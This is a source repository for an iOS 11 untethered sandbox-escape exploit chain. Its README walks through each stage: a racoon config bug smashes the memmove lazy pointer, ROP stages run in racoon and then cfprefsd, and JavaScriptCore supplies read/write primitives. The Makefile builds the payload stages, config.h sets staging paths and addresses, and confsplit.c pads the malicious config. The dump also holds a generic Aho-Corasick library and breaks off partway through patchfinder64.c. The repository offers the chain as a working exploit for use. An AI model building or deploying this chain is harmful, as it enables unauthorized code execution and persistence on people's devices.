├── Makefile ├── README ├── ac.c ├── ac.h ├── cache ├── config.h ├── confsplit.c ├── patchfinder64.c ├── racoon ├── rel2.c ├── rocky.c ├── ropc ├── rope2.c ├── rope4.c ├── rope5.c ├── stage2.asm ├── stage4.asm ├── stage5.asm ├── stage6.js └── untether.c /Makefile: -------------------------------------------------------------------------------- 1 | CC = gcc 2 | CFLAGS += -Wall -W -pedantic 3 | CFLAGS += -Wno-unused-function 4 | CFLAGS += -O2 5 | 6 | LD = gcc 7 | LDFLAGS = 8 | 9 | .c.o: 10 | $(CC) -o $@ $(CFLAGS) -c $< 11 | 12 | all: racoon.conf stage2.bin stage5.bin 13 | 14 | stage2.bin: stage2.asm config2.asm rel2.asm rope2.asm stage3.bin stage4.bin 15 | nasm -o $@ -fbin -O6 $< 16 | 17 | rope2.asm: rope2.i 18 | ./ropc -o $@ -c cache -O2 -g -n $< 19 | 20 | rope2.i: rope2.c config.h config2.h 21 | gcc -o $@ -E $< 22 | 23 | rel2.asm: rel2.c 24 | ./ropc -o $@ -c cache -O2 -g -n $< 25 | 26 | stage4.bin: stage4.asm config2.asm rope4.asm 27 | nasm -o $@ -fbin -O6 $< 28 | 29 | rope4.asm: rope4.i 30 | ./ropc -o $@ -c cache -O2 -g -n -a $< 31 | 32 | rope4.i: rope4.c config.h config2.h 33 | gcc -o $@ -E $< 34 | 35 | stage5.bin: stage5.asm config2.asm rope5.asm 36 | nasm -o $@ -fbin -O6 $< 37 | 38 | rope5.asm: rope5.i 39 | ./ropc -o $@ -c cache -O2 -g -n $< 40 | 41 | rope5.i: rope5.c config.h config2.h 42 | gcc -o $@ -E $< 43 | 44 | racoon.conf: racoon.cfg confsplit 45 | ./confsplit $< $@ 8192 46 | 47 | racoon.cfg config2.asm config2.h stage3.bin: untether 48 | ./untether cache $(SLIDE) 49 | 50 | untether: untether.o 51 | $(LD) -o $@ $(LDFLAGS) $^ $(LDLIBS) 52 | 53 | untether.o: config.h config.bin 54 | 55 | config.bin: rocky 56 | ./rocky racoon $@ 57 | 58 | rocky: rocky.o 59 | $(LD) -o $@ $(LDFLAGS) $^ $(LDLIBS) 60 | 61 | confsplit: confsplit.o 62 | $(LD) -o $@ $(LDFLAGS) $^ $(LDLIBS) 63 | 64 | clean: 65 | -$(RM) rocky rocky.o confsplit confsplit.o untether untether.o 66 | -$(RM) config.bin config2.asm config2.h racoon.cfg 67 | -$(RM) rope2.asm rope2.i 68 | -$(RM) rope5.asm rope5.i 69 | -$(RM) stage4.bin rope4.asm rope4.i 70 | -$(RM) stage3.bin 71 | -$(RM) rel2.asm 72 | 73 | realclean: clean 74 | -$(RM) racoon.conf 75 | -$(RM) stage2.bin 76 | -$(RM) stage5.bin 77 | -------------------------------------------------------------------------------- /README: -------------------------------------------------------------------------------- 1 | Bugs and techniques to achieve untethered+unsandboxed code execution in iOS 11 2 | 3 | Credits: 4 | @littlelailo - racoon bug (originally @pod2g) 5 | @S1guza - ASLR bug 6 | @ZecOps - sandbox escape writeup 7 | nemo - objective-c tricks 8 | @_bazad - memory spray 9 | @NedWilliamson - socket bug (exploit by @Jakeashacks) 10 | @5aelo - phrack JSC paper 11 | 12 | Add iOS racoon executable and dyld_shared_cache_arm64 to device/ and type make. Then collect racoon.conf and stage2.bin. Enjoy! 13 | stage{2,5,6}.{bin,js} should be renamed according to STAGE{2,5,6}_NAME in config.h 14 | 15 | === 16 | 17 | racoon.conf 18 | use 'wins4'/'dns4' to write arbitrary bytes at relative offset, targeting `lcconf` 19 | point `lcconf` at the `_platform_memmove` lazy pointer and smash it 20 | use 'banner' to call `strlcpy` which loads the smashed lazy pointer with controlled data 21 | 22 | stage1 sits inside the banner string and must not contain local pointers (runs at unknown address): 23 | 1. remap shared cache at known address 24 | 2. remap stage2 at known address inside racoon address space (stage2 must be on-disk, and must be accessible from the racoon sandbox) 25 | 3. stash the current slide at stage2[0] 26 | 4. jump to stage2 27 | 28 | stage2 runs inside racoon at fixed address: 29 | 1. relocate itself using stage2[0] 30 | 2. fix back `_platform_memmove` lazy pointer 31 | 3. unmap the secondary shared cache 32 | 4. relocate stage3 33 | 5. relocate stage4 and write it to disk (stage4 location must be accessible from the racoon sandbox) 34 | 6. trigger cfprefsd bug 35 | push stage3 at GUESS_ADDR in a spray thread 36 | trigger cfprefsd bug which will execute stage3 in the faulty thread 37 | 38 | stage3 is inside cfprefsd spray thread and must not contain local pointers (runs at unknown address after pivot): 39 | 1. copy back itself on the faulty thread stack, because the spray thread will vanish 40 | 2. pivot by means of `memmove+4` 41 | 3. remap stage4 at known address inside cfprefsd address space 42 | 4. jump to stage4, with x0 pointing inside the faulty thread stack 43 | 44 | stage4 runs inside cfprefsd at fixed address: 45 | 1. run the unsandboxed payload 46 | load and relocate stage5 at arbitrary address (faulty thread stack) 47 | jump to stage5 48 | 49 | stage5 runs unsandboxed inside cfprefsd's stack: 50 | 1. dlopen(JavaScriptCore) 51 | 2. set up a leakval primitive & read/write/call for stage6 52 | 3. run stage6.js 53 | 54 | === 55 | 56 | stage2 is split in two parts 57 | a. the auto-reloc code: uses gadgets from the shadow cache 58 | b. the actual code: uses gadgets from the main shared cache 59 | stage2 begins with `rope` and ends with `rope_end` 60 | *rope = stage2[0] = slide 61 | external relocations is an array of offsets, each offset being relative to `rope` 62 | external relocations start with a 0, so it can be parsed backwards 63 | 64 | stage3/4 have the same type of external relocations as stage2 65 | stage5 has the same type of external relocations as stage2, preceded by local relocations of the same kind 66 | -------------------------------------------------------------------------------- /ac.c: -------------------------------------------------------------------------------- 1 | /* 2 | * ac.c 3 | * 4 | * Implementation of the Aho-Corasick algorithm. 5 | * 6 | * NOTES: 7 | * 8/94 - Original Implementation (Sean Davis) 8 | * 9/94 - Redid Implementation (James Knight) 9 | * 3/96 - Modularized the code (James Knight) 10 | * 7/96 - Finished the modularization (James Knight) 11 | */ 12 | 13 | #include 14 | #include 15 | #include 16 | #include "ac.h" 17 | 18 | 19 | 20 | /* 21 | * ac_alloc 22 | * 23 | * Creates a new AC_STRUCT structure and initializes its fields. 24 | * 25 | * Parameters: none. 26 | * 27 | * Returns: A dynamically allocated AC_STRUCT structure. 28 | */ 29 | AC_STRUCT *ac_alloc(void) 30 | { 31 | AC_STRUCT *node; 32 | 33 | if ((node = malloc(sizeof(AC_STRUCT))) == NULL) 34 | return NULL; 35 | memset(node, 0, sizeof(AC_STRUCT)); 36 | 37 | if ((node->tree = malloc(sizeof(ACTREE_NODE))) == NULL) { 38 | free(node); 39 | return NULL; 40 | } 41 | memset(node->tree, 0, sizeof(ACTREE_NODE)); 42 | 43 | return node; 44 | } 45 | 46 | 47 | /* 48 | * ac_add_string 49 | * 50 | * Adds a string to the AC_STRUCT structure's keyword tree. 51 | * 52 | * NOTE: The `id' value given must be unique to any of the strings 53 | * added to the tree, and must be a small integer greater than 54 | * 0 (since it is used to index an array holding information 55 | * about each of the strings). 56 | * 57 | * The best id's to use are to number the strings from 1 to K. 58 | * 59 | * Parameters: node - an AC_STRUCT structure 60 | * P - the sequence 61 | * M - the sequence length 62 | * id - the sequence identifier 63 | * 64 | * Returns: non-zero on success, zero on error. 65 | */ 66 | int ac_add_string(AC_STRUCT *node, char *P, int M, int id) 67 | { 68 | int i, j, newsize; 69 | AC_TREE tnode, child, back, newnode, list, tail; 70 | 71 | /* 72 | * Return a zero if a previous error had occurred, or if the 73 | * given id equals zero. An id value of zero is used by the 74 | * algorithm to signal that no pattern ends at a node in the 75 | * keyword tree. So, it can't be used as a pattern's id. 76 | */ 77 | if (node->errorflag || id == 0) 78 | return 0; 79 | 80 | P--; /* Shift to make sequence be P[1],...,P[M] */ 81 | 82 | /* 83 | * Allocate space for the new string's information. 84 | */ 85 | if (node->Psize <= id) { 86 | if (node->Psize == 0) { 87 | newsize = (id >= 16 ? id + 1 : 16); 88 | node->Plengths = malloc(newsize * sizeof(int)); 89 | } 90 | else { 91 | newsize = node->Psize + id + 1; 92 | node->Plengths = realloc(node->Plengths, newsize * sizeof(int)); 93 | } 94 | if (node->Plengths == NULL) { 95 | node->errorflag = 1; 96 | return 0; 97 | } 98 | 99 | for (i=node->Psize; i < newsize; i++) 100 | node->Plengths[i] = 0; 101 | node->Psize = newsize; 102 | } 103 | 104 | if (node->Plengths[id] != 0) { 105 | fprintf(stderr, "Error in Aho-Corasick preprocessing. " 106 | "Duplicate identifiers\n"); 107 | return 0; 108 | } 109 | 110 | /* 111 | * Add the string to the keyword tree. 112 | */ 113 | tnode = node->tree; 114 | for (i=1; i <= M; i++) { 115 | /* 116 | * Find the child whose character is P[i]. 117 | */ 118 | back = NULL; 119 | child = tnode->children; 120 | while (child != NULL && child->ch < P[i]) { 121 | back = child; 122 | child = child->sibling; 123 | } 124 | 125 | if (child == NULL || child->ch != P[i]) 126 | break; 127 | 128 | tnode = child; 129 | 130 | #ifdef STATS 131 | node->prep_old_edges++; 132 | #endif 133 | } 134 | 135 | /* 136 | * If only part of the pattern exists in the tree, add the 137 | * rest of the pattern to the tree. 138 | */ 139 | if (i <= M) { 140 | list = tail = NULL; 141 | for (j=i; j <= M; j++) { 142 | if ((newnode = malloc(sizeof(ACTREE_NODE))) == NULL) 143 | break; 144 | memset(newnode, 0, sizeof(ACTREE_NODE)); 145 | newnode->ch = P[j]; 146 | 147 | if (list == NULL) 148 | list = tail = newnode; 149 | else 150 | tail = tail->children = newnode; 151 | 152 | #ifdef STATS 153 | node->prep_new_edges++; 154 | #endif 155 | } 156 | if (j <= M) { 157 | while (list != NULL) { 158 | tail = list->children; 159 | free(list); 160 | list = tail; 161 | } 162 | return 0; 163 | } 164 | 165 | list->sibling = child; 166 | if (back == NULL) 167 | tnode->children = list; 168 | else 169 | back->sibling = list; 170 | 171 | tnode = tail; 172 | } 173 | 174 | tnode->matchid = id; 175 | node->Plengths[id] = M; 176 | node->ispreprocessed = 0; 177 | 178 | return 1; 179 | } 180 | 181 | 182 | /* 183 | * ac_del_string 184 | * 185 | * Deletes a string from the keyword tree. 186 | * 187 | * Parameters: node - an AC_STRUCT structure 188 | * P - the sequence to be deleted 189 | * M - its length 190 | * id - its identifier 191 | * 192 | * Returns: non-zero on success, zero on error. 193 | */ 194 | int ac_del_string(AC_STRUCT *node, char *P, int M, int id) 195 | { 196 | int i, flag; 197 | AC_TREE tnode, tlast, tback, child, back; 198 | 199 | if (node->errorflag || id > node->Psize || node->Plengths[id] == 0) 200 | return 0; 201 | 202 | P--; /* Shift to make sequence be P[1],...,P[M] */ 203 | 204 | /* 205 | * Scan the tree for the path corresponding to the keyword to be deleted. 206 | */ 207 | flag = 1; 208 | tlast = tnode = node->tree; 209 | tback = NULL; 210 | 211 | for (i=1; i <= M; i++) { 212 | /* 213 | * Find the child matching P[i]. It must be there. 214 | */ 215 | child = tnode->children; 216 | back = NULL; 217 | while (child != NULL && child->ch != P[i]) { 218 | back = child; 219 | child = child->sibling; 220 | } 221 | 222 | if (child == NULL) { 223 | fprintf(stderr, "Error in Aho-Corasick preprocessing. String to be " 224 | "deleted is not in tree.\n"); 225 | return 0; 226 | } 227 | 228 | /* 229 | * Try to find the point where the pattern to be deleted branches off 230 | * from the paths of the other patterns in the tree. This point must 231 | * be at the latest node which satisfies one of these two conditions: 232 | * 233 | * 1) Another pattern ends at that node (and so 234 | * `child->matchid != 0'). In this case, the branch point is 235 | * just below this node and so the children of this node 236 | * should be removed. 237 | * 2) A node has other siblings. In this case, the node itself 238 | * is the branch point, and it and its children should be 239 | * removed. 240 | */ 241 | if (i < M && child->matchid != 0) { 242 | flag = 1; 243 | tlast = child; 244 | } 245 | else if (back != NULL || child->sibling != NULL) { 246 | flag = 2; 247 | tlast = child; 248 | tback = (back == NULL ? tnode : back); 249 | } 250 | 251 | tnode = child; 252 | } 253 | 254 | /* 255 | * If the node corresponding to the end of the keyword has children, 256 | * then the tree should not be altered, except to remove the keyword's 257 | * identifier from the tree. 258 | * 259 | * Otherwise, apply the appropriate removal, as described above. 260 | */ 261 | if (tnode->children != NULL) { 262 | tnode->matchid = 0; 263 | } 264 | else { 265 | if (flag == 1) { 266 | child = tlast->children; 267 | tlast->children = NULL; 268 | tlast = child; 269 | } 270 | else { 271 | if (tback->children == tlast) 272 | tback->children = tlast->sibling; 273 | else 274 | tback->sibling = tlast->sibling; 275 | } 276 | 277 | while (tlast != NULL) { 278 | child = tlast->children; 279 | free(tlast); 280 | tlast = child; 281 | } 282 | } 283 | 284 | node->Plengths[id] = 0; 285 | node->ispreprocessed = 0; 286 | 287 | return 1; 288 | } 289 | 290 | 291 | /* 292 | * ac_prep 293 | * 294 | * Compute the failure and output links for the keyword tree. 295 | * 296 | * Parameters: node - an AC_STRUCT structure 297 | * 298 | * Returns: non-zero on success, zero on error. 299 | */ 300 | int ac_prep(AC_STRUCT *node) 301 | { 302 | char x; 303 | AC_TREE v, vprime, w, wprime, root, front, back, child; 304 | 305 | if (node->errorflag) 306 | return 0; 307 | 308 | /* 309 | * The failure link and output link computation requires a breadth-first 310 | * traversal of the keyword tree. And, to do that, we need a queue of 311 | * the nodes yet to be processed. 312 | * 313 | * The `faillink' fields will be used as the pointers for the queue 314 | * of nodes to be computed (since the failure link is only set after 315 | * the node is removed from the queue). 316 | * 317 | * The `outlink' fields will be used as the pointers to a node's parent 318 | * for nodes in the queue (since the output link is also only set after 319 | * the node is removed from the queue). 320 | */ 321 | root = node->tree; 322 | 323 | front = back = root; 324 | front->faillink = NULL; 325 | front->outlink = NULL; 326 | 327 | while (front != NULL) { 328 | v = front; 329 | x = v->ch; 330 | vprime = v->outlink; 331 | 332 | /* 333 | * Add the node's children to the queue. 334 | */ 335 | for (child=v->children; child != NULL; child=child->sibling) { 336 | child->outlink = v; 337 | back->faillink = child; 338 | back = child; 339 | } 340 | back->faillink = NULL; 341 | 342 | front = front->faillink; 343 | v->faillink = v->outlink = NULL; 344 | 345 | /* 346 | * Set the failure and output links. 347 | */ 348 | if (v == root) 349 | ; 350 | else if (vprime == root) 351 | v->faillink = root; 352 | else { 353 | /* 354 | * Find the find link in the failure link chain which has a child 355 | * labeled with x. 356 | */ 357 | wprime = NULL; 358 | w = vprime->faillink; 359 | 360 | while (1) { 361 | wprime = w->children; 362 | while (wprime != NULL && wprime->ch < x) 363 | wprime = wprime->sibling; 364 | 365 | if ((wprime != NULL && wprime->ch == x) || w == root) 366 | break; 367 | 368 | w = w->faillink; 369 | 370 | #ifdef STATS 371 | node->prep_fail_compares++; 372 | #endif 373 | } 374 | #ifdef STATS 375 | node->prep_fail_compares++; 376 | #endif 377 | 378 | if (wprime != NULL && wprime->ch == x) 379 | v->faillink = wprime; 380 | else 381 | v->faillink = root; 382 | 383 | if (v->matchid != 0) { 384 | if (v->faillink->matchid != 0) 385 | v->outlink = v->faillink; 386 | else 387 | v->outlink = v->faillink->outlink; 388 | } 389 | } 390 | } 391 | 392 | node->ispreprocessed = 1; 393 | node->initflag = 0; 394 | 395 | return 1; 396 | } 397 | 398 | 399 | /* 400 | * ac_search_init 401 | * 402 | * Initializes the variables used during an Aho-Corasick search. 403 | * See ac_search for an example of how it should be used. 404 | * 405 | * Parameters: node - an AC_STRUCT structure 406 | * T - the sequence to be searched 407 | * N - the length of the sequence 408 | * 409 | * Returns: nothing. 410 | */ 411 | void ac_search_init(AC_STRUCT *node, char *T, int N) 412 | { 413 | if (node->errorflag) 414 | return; 415 | else if (!node->ispreprocessed) { 416 | fprintf(stderr, "Error in Aho-Corasick search. The preprocessing " 417 | "has not been completed.\n"); 418 | return; 419 | } 420 | 421 | node->T = T - 1; /* Shift to make sequence be T[1],...,T[N] */ 422 | node->N = N; 423 | node->c = 1; 424 | node->w = node->tree; 425 | node->output = NULL; 426 | node->initflag = 1; 427 | node->endflag = 0; 428 | } 429 | 430 | 431 | /* 432 | * ac_search 433 | * 434 | * Scans a text to look for the next occurrence of one of the patterns 435 | * in the text. An example of how this search should be used is the 436 | * following: 437 | * 438 | * s = T; 439 | * len = N; 440 | * contflag = 0; 441 | * ac_search_init(node, T, N); 442 | * while ((s = ac_search(node, &matchlen, &matchid) != NULL) { 443 | * >>> Pattern `matchid' matched from `s' to `s + matchlen - 1'. <<< 444 | * } 445 | * 446 | * where `node', `T' and `N' are assumed to be initialized appropriately. 447 | * 448 | * Parameters: node - a preprocessed AC_STRUCT structure 449 | * length_out - where to store the new match's length 450 | * id_out - where to store the identifier of the 451 | * pattern that matched 452 | * 453 | * Returns: the left end of the text that matches a pattern, or NULL 454 | * if no match occurs. (It also stores values in `*length_out', 455 | * and `*id_out' giving the match's length and pattern identifier. 456 | */ 457 | char *ac_search(AC_STRUCT *node, int *length_out, int *id_out) 458 | { 459 | int c, N, id; 460 | char *T; 461 | AC_TREE w, wprime, root; 462 | 463 | if (node->errorflag) 464 | return NULL; 465 | else if (!node->ispreprocessed) { 466 | fprintf(stderr, "Error in Aho-Corasick search. The preprocessing " 467 | "has not been completed.\n"); 468 | return NULL; 469 | } 470 | else if (!node->initflag) { 471 | fprintf(stderr, "Error in Aho-Corasick search. ac_search_init was not " 472 | "called.\n"); 473 | return NULL; 474 | } 475 | else if (node->endflag) 476 | return NULL; 477 | 478 | T = node->T; 479 | N = node->N; 480 | c = node->c; 481 | w = node->w; 482 | root = node->tree; 483 | 484 | /* 485 | * If the last call to ac_search returned a match, check for another 486 | * match ending at the same right endpoint (denoted by a non-NULL 487 | * output link). 488 | */ 489 | if (node->output != NULL) { 490 | node->output = node->output->outlink; 491 | #ifdef STATS 492 | node->outlinks_traversed++; 493 | #endif 494 | 495 | if (node->output != NULL) { 496 | id = node->output->matchid; 497 | if (id_out) 498 | *id_out = id; 499 | if (length_out) 500 | *length_out = node->Plengths[id]; 501 | 502 | return &T[c] - node->Plengths[id]; 503 | } 504 | } 505 | 506 | /* 507 | * Run the search algorithm, stopping at the first position where a 508 | * match to one of the patterns occurs. 509 | */ 510 | while (c <= N) { 511 | /* 512 | * Try to match the next input character to a child in the tree. 513 | */ 514 | wprime = w->children; 515 | while (wprime != NULL && wprime->ch != T[c]) 516 | wprime = wprime->sibling; 517 | 518 | #ifdef STATS 519 | node->num_compares++; 520 | #endif 521 | 522 | /* 523 | * If the match fails, then either use the failure link (if not 524 | * at the root), or move to the next character since no prefix 525 | * of any pattern ends with character T[c]. 526 | */ 527 | if (wprime == NULL) { 528 | if (w == root) 529 | c++; 530 | else { 531 | w = w->faillink; 532 | 533 | #ifdef STATS 534 | node->num_failures++; 535 | #endif 536 | } 537 | } 538 | else { 539 | /* 540 | * If we could match the input, move down the tree and to the 541 | * next input character, and see if that match completes the 542 | * match to a pattern (when matchid != 0 or outlink != NULL). 543 | */ 544 | c++; 545 | w = wprime; 546 | 547 | #ifdef STATS 548 | node->edges_traversed++; 549 | #endif 550 | 551 | if (w->matchid != 0) 552 | node->output = w; 553 | else if (w->outlink != NULL) { 554 | node->output = w->outlink; 555 | 556 | #ifdef STATS 557 | node->outlinks_traversed++; 558 | #endif 559 | } 560 | 561 | if (node->output != NULL) { 562 | id = node->output->matchid; 563 | if (id_out) 564 | *id_out = id; 565 | if (length_out) 566 | *length_out = node->Plengths[id]; 567 | 568 | node->w = w; 569 | node->c = c; 570 | 571 | return &T[c] - node->Plengths[id]; 572 | } 573 | } 574 | } 575 | 576 | node->c = c; 577 | node->endflag = 1; 578 | 579 | return NULL; 580 | } 581 | 582 | 583 | /* 584 | * ac_free 585 | * 586 | * Free up the allocated AC_STRUCT structure. 587 | * 588 | * Parameters: node - a AC_STRUCT structure 589 | * 590 | * Returns: nothing. 591 | */ 592 | void ac_free(AC_STRUCT *node) 593 | { 594 | AC_TREE front, back, next; 595 | 596 | if (node == NULL) 597 | return; 598 | 599 | if (node->tree != NULL) { 600 | front = back = node->tree; 601 | while (front != NULL) { 602 | back->sibling = front->children; 603 | while (back->sibling != NULL) 604 | back = back->sibling; 605 | 606 | next = front->sibling; 607 | free(front); 608 | front = next; 609 | } 610 | } 611 | 612 | if (node->Plengths != NULL) 613 | free(node->Plengths); 614 | 615 | free(node); 616 | } 617 | 618 | 619 | 620 | -------------------------------------------------------------------------------- /ac.h: -------------------------------------------------------------------------------- 1 | 2 | #ifndef _AC_H_ 3 | #define _AC_H_ 4 | 5 | typedef struct actreenode { 6 | char ch; 7 | int matchid; 8 | struct actreenode *outlink, *faillink; 9 | struct actreenode *children, *sibling; 10 | } ACTREE_NODE, *AC_TREE; 11 | 12 | 13 | typedef struct { 14 | AC_TREE tree; 15 | int ispreprocessed, errorflag; 16 | 17 | int Psize; 18 | int *Plengths; 19 | 20 | char *T; 21 | int N, c, initflag, endflag; 22 | AC_TREE w, output; 23 | 24 | int prep_new_edges, prep_old_edges, prep_fail_compares; 25 | int num_compares, num_failures, edges_traversed, outlinks_traversed; 26 | } AC_STRUCT; 27 | 28 | 29 | AC_STRUCT *ac_alloc(void); 30 | int ac_add_string(AC_STRUCT *node, char *P, int M, int id); 31 | int ac_del_string(AC_STRUCT *node, char *P, int M, int id); 32 | int ac_prep(AC_STRUCT *node); 33 | void ac_search_init(AC_STRUCT *node, char *T, int N); 34 | char *ac_search(AC_STRUCT *node, int *length_out, int *id_out); 35 | void ac_free(AC_STRUCT *node); 36 | 37 | #endif 38 | -------------------------------------------------------------------------------- /cache: -------------------------------------------------------------------------------- 1 | device/dyld_shared_cache_arm64 -------------------------------------------------------------------------------- /config.h: -------------------------------------------------------------------------------- 1 | // adjust these values in case of emergency 2 | 3 | #define RACOON_SANDBOX 4 | 5 | #define FAKE_SHARED_CACHE_ADDR 0x140000000 6 | 7 | #ifdef RACOON_SANDBOX 8 | #define STAGE2_NAME "/etc/racoon/s2" 9 | #define STAGE5_NAME "/etc/racoon/stage5.bin" 10 | #define STAGE6_NAME "/etc/racoon/stage6.js" 11 | //#define STAGE2_NAME "/var/root/stg2" 12 | //#define STAGE5_NAME "/var/root/stage5.bin" 13 | //#define STAGE6_NAME "/var/root/stage6.js" 14 | #else 15 | #define STAGE2_NAME "/tmp/stage2.bin" 16 | #define STAGE5_NAME "/tmp/stage5.bin" 17 | #define STAGE6_NAME "/tmp/stage6.js" 18 | #endif 19 | #define STAGE2_MAX_SIZE 0x30000 20 | #define STAGE2_STATIC_ADDRESS (FAKE_SHARED_CACHE_ADDR - STAGE2_MAX_SIZE) 21 | 22 | #define STAGE3_FAKE_OBJECT_SZ 0x100 23 | 24 | #ifdef RACOON_SANDBOX 25 | #define STAGE4_NAME "/var/run/racoon.pid" 26 | #else 27 | #define STAGE4_NAME "/tmp/stage4.bin" 28 | #endif 29 | #define STAGE4_MAX_SIZE 0x10000 30 | #define STAGE4_STATIC_ADDRESS 0x17FFF0000 31 | 32 | #define STAGE4_FLAG "/tmp/flag" 33 | 34 | #define SHARED_CACHE_NAME "/System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64" 35 | -------------------------------------------------------------------------------- /confsplit.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | //#define TOK_1 "mode_cfg" 12 | //#define TOK_2 "wins4" 13 | #define TOK_1 "\twins4 255.255.255.255;" 14 | 15 | #ifdef DEBUG 16 | static int 17 | creat_chunk(void) 18 | { 19 | static int n = 0; 20 | int fd; 21 | char tmp[256]; 22 | snprintf(tmp, sizeof(tmp), "chunk-%04d", n++); 23 | fd = creat(tmp, 0644); 24 | assert(fd != -1); 25 | return fd; 26 | } 27 | #endif 28 | 29 | static int 30 | is_tok_2(const char *map, const char *end) 31 | { 32 | #ifdef TOK_2 33 | while (map < end && (isblank(*map) || *map == '\n' || *map == '{')) { //} 34 | map++; 35 | } 36 | assert(map < end); 37 | return !memcmp(map, TOK_2, sizeof(TOK_2) - 1); 38 | #else 39 | (void)(map && end); 40 | return 1; 41 | #endif 42 | } 43 | 44 | static int 45 | testconf(const char *infile) 46 | { 47 | int rv; 48 | int fd; 49 | struct stat st; 50 | char *map, *base, *end; 51 | size_t sz; 52 | 53 | fd = open(infile, O_RDONLY); 54 | assert(fd != -1); 55 | rv = fstat(fd, &st); 56 | assert(rv == 0); 57 | map = mmap(NULL, st.st_size, PROT_READ, MAP_FILE | MAP_PRIVATE, fd, 0); 58 | assert(map != MAP_FAILED); 59 | close(fd); 60 | 61 | base = map; 62 | end = map + st.st_size; 63 | sz = st.st_size; 64 | rv = -1; 65 | while (1) { 66 | char *p, *q; 67 | assert(base + sz == end); 68 | p = memchr(base, '\"', sz); 69 | if (!p) { 70 | rv = 0; 71 | break; 72 | } 73 | // open quote: p - map 74 | if (p < map + 8 || memcmp(p - 8, "\tbanner ", 8)) { 75 | fprintf(stderr, "error: bad open quote at %zu\n", p - map); 76 | break; 77 | } 78 | sz -= ++p - base; 79 | assert(p + sz == end); 80 | q = memchr(p, '\"', sz); 81 | if (!q) { 82 | fprintf(stderr, "error: unbalanced quote at %zu\n", p - map); 83 | break; 84 | } 85 | // close quote: q - map 86 | if (q + 2 >= end || q[1] != ';' || q[2] != '\n') { 87 | fprintf(stderr, "error: bad close quote at %zu\n", q - map); 88 | break; 89 | } 90 | sz -= ++q - p; 91 | base = q; 92 | } 93 | 94 | munmap(map, st.st_size); 95 | 96 | return rv; 97 | } 98 | 99 | int 100 | main(int argc, char **argv) 101 | { 102 | int rv; 103 | int fd; 104 | struct stat st; 105 | char *map, *fill, a; 106 | size_t inptr, outptr, chunk; 107 | const char *infile, *outfile; 108 | 109 | #ifdef DEBUG 110 | infile = "conf"; 111 | outfile = "conf.out"; 112 | chunk = 4500; 113 | #else 114 | if (argc < 4) { 115 | fprintf(stderr, "usage: %s infile outfile split\n", argv[0]); 116 | return -1; 117 | } 118 | 119 | infile = argv[1]; 120 | outfile = argv[2]; 121 | chunk = strtoull(argv[3], NULL, 0); 122 | #endif 123 | rv = testconf(infile); 124 | if (rv) { 125 | return -1; 126 | } 127 | 128 | a = '\n'; 129 | fill = malloc(chunk); 130 | assert(fill); 131 | memset(fill, '#', chunk); 132 | 133 | fd = open(infile, O_RDONLY); 134 | assert(fd != -1); 135 | rv = fstat(fd, &st); 136 | assert(rv == 0); 137 | map = mmap(NULL, st.st_size, PROT_READ, MAP_FILE | MAP_PRIVATE, fd, 0); 138 | assert(map != MAP_FAILED); 139 | close(fd); 140 | 141 | fd = creat(outfile, 0644); 142 | assert(fd); 143 | 144 | inptr = 0; 145 | outptr = 0; 146 | while (1) { 147 | size_t base = inptr; 148 | size_t end = inptr + chunk; 149 | if (end > (size_t)st.st_size) { 150 | #ifdef DEBUG 151 | int fdo = creat_chunk(); 152 | write(fdo, map + base, st.st_size - base); 153 | close(fdo); 154 | #endif 155 | write(fd, map + base, st.st_size - base); 156 | break; 157 | } 158 | inptr = end; 159 | while (1) { 160 | while (inptr > base && memcmp(map + inptr, TOK_1, sizeof(TOK_1) - 1)) { 161 | inptr--; 162 | } 163 | assert(inptr > base); 164 | if (is_tok_2(map + inptr + sizeof(TOK_1) - 1, map + st.st_size)) { 165 | #ifdef DEBUG 166 | int fdo = creat_chunk(); 167 | write(fdo, map + base, inptr - base); 168 | printf("split @%zu (fill %zu)\n", inptr, end - inptr); 169 | #endif 170 | write(fd, map + base, inptr - base); 171 | if (end > inptr) { 172 | #ifdef DEBUG 173 | write(fdo, fill, end - inptr - 1); 174 | write(fdo, &a, 1); 175 | close(fdo); 176 | #endif 177 | write(fd, fill, end - inptr - 1); 178 | write(fd, &a, 1); 179 | } 180 | outptr += chunk; 181 | break; 182 | } 183 | inptr--; 184 | #ifdef DEBUG 185 | printf("retry @%zu\n", inptr); 186 | #endif 187 | } 188 | } 189 | 190 | close(fd); 191 | munmap(map, st.st_size); 192 | free(fill); 193 | return 0; 194 | } 195 | -------------------------------------------------------------------------------- /patchfinder64.c: -------------------------------------------------------------------------------- 1 | // 2 | // patchfinder64.c 3 | // extra_recipe 4 | // 5 | // Created by xerub on 06/06/2017. 6 | // Copyright © 2017 xerub. All rights reserved. 7 | // 8 | 9 | #include 10 | #include 11 | #include 12 | 13 | typedef unsigned long long addr_t; 14 | 15 | #define IS64(image) (*(uint8_t *)(image) & 1) 16 | 17 | #define MACHO(p) ((*(unsigned int *)(p) & ~1) == 0xfeedface) 18 | 19 | /* generic stuff *************************************************************/ 20 | 21 | #define UCHAR_MAX 255 22 | 23 | static unsigned char * 24 | boyermoore_horspool_memmem(const unsigned char* haystack, size_t hlen, 25 | const unsigned char* needle, size_t nlen) 26 | { 27 | size_t last, scan = 0; 28 | size_t bad_char_skip[UCHAR_MAX + 1]; /* Officially called: 29 | * bad character shift */ 30 | 31 | /* Sanity checks on the parameters */ 32 | if (nlen <= 0 || !haystack || !needle) 33 | return NULL; 34 | 35 | /* ---- Preprocess ---- */ 36 | /* Initialize the table to default value */ 37 | /* When a character is encountered that does not occur 38 | * in the needle, we can safely skip ahead for the whole 39 | * length of the needle. 40 | */ 41 | for (scan = 0; scan <= UCHAR_MAX; scan = scan + 1) 42 | bad_char_skip[scan] = nlen; 43 | 44 | /* C arrays have the first byte at [0], therefore: 45 | * [nlen - 1] is the last byte of the array. */ 46 | last = nlen - 1; 47 | 48 | /* Then populate it with the analysis of the needle */ 49 | for (scan = 0; scan < last; scan = scan + 1) 50 | bad_char_skip[needle[scan]] = last - scan; 51 | 52 | /* ---- Do the matching ---- */ 53 | 54 | /* Search the haystack, while the needle can still be within it. */ 55 | while (hlen >= nlen) 56 | { 57 | /* scan from the end of the needle */ 58 | for (scan = last; haystack[scan] == needle[scan]; scan = scan - 1) 59 | if (scan == 0) /* If the first byte matches, we've found it. */ 60 | return (void *)haystack; 61 | 62 | /* otherwise, we need to skip some bytes and start again. 63 | Note that here we are getting the skip value based on the last byte 64 | of needle, no matter where we didn't match. So if needle is: "abcd" 65 | then we are skipping based on 'd' and that value will 